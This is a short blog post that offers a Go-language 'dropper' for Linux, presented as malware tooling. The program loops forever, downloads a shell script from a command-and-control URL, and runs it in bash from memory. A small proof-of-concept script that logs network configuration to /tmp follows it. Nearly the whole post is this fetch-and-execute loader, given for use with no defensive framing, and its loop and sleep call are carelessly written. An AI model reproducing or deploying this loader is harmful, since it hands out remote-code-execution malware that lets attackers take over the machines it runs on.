Simple dropper for Linux in Go, similar to PowerShell …

It’s very simple, the code read you shellscript body from your C&C, keep it in memory (within a variable), then execute directly in bash.

func main() {
    for {
        url := "http://some_wwww_dummy/some_Script"
        resp, _ := http.Get(string(url))
        defer resp.Body.Close()
        shellScriptBody, _ := ioutil.ReadAll(resp.Body)
        cmd := exec.Command("/bin/bash", "-c", string(shellScriptBody))
        cmd.Start()
        time.Sleep(5000)
    }
}

Example of dumb shell to PoC:

#!/bin/bash

if [ ! -d /tmp/dir ]; then
mkdir /tmp/dir
fi

cd /tmp/dir
touch script.sh
ifconfig > ifconfig.log

GoLang can compile in ELF file.

My site is free of ads and trackers. Was this post helpful to you? Why not BuyMeACoffee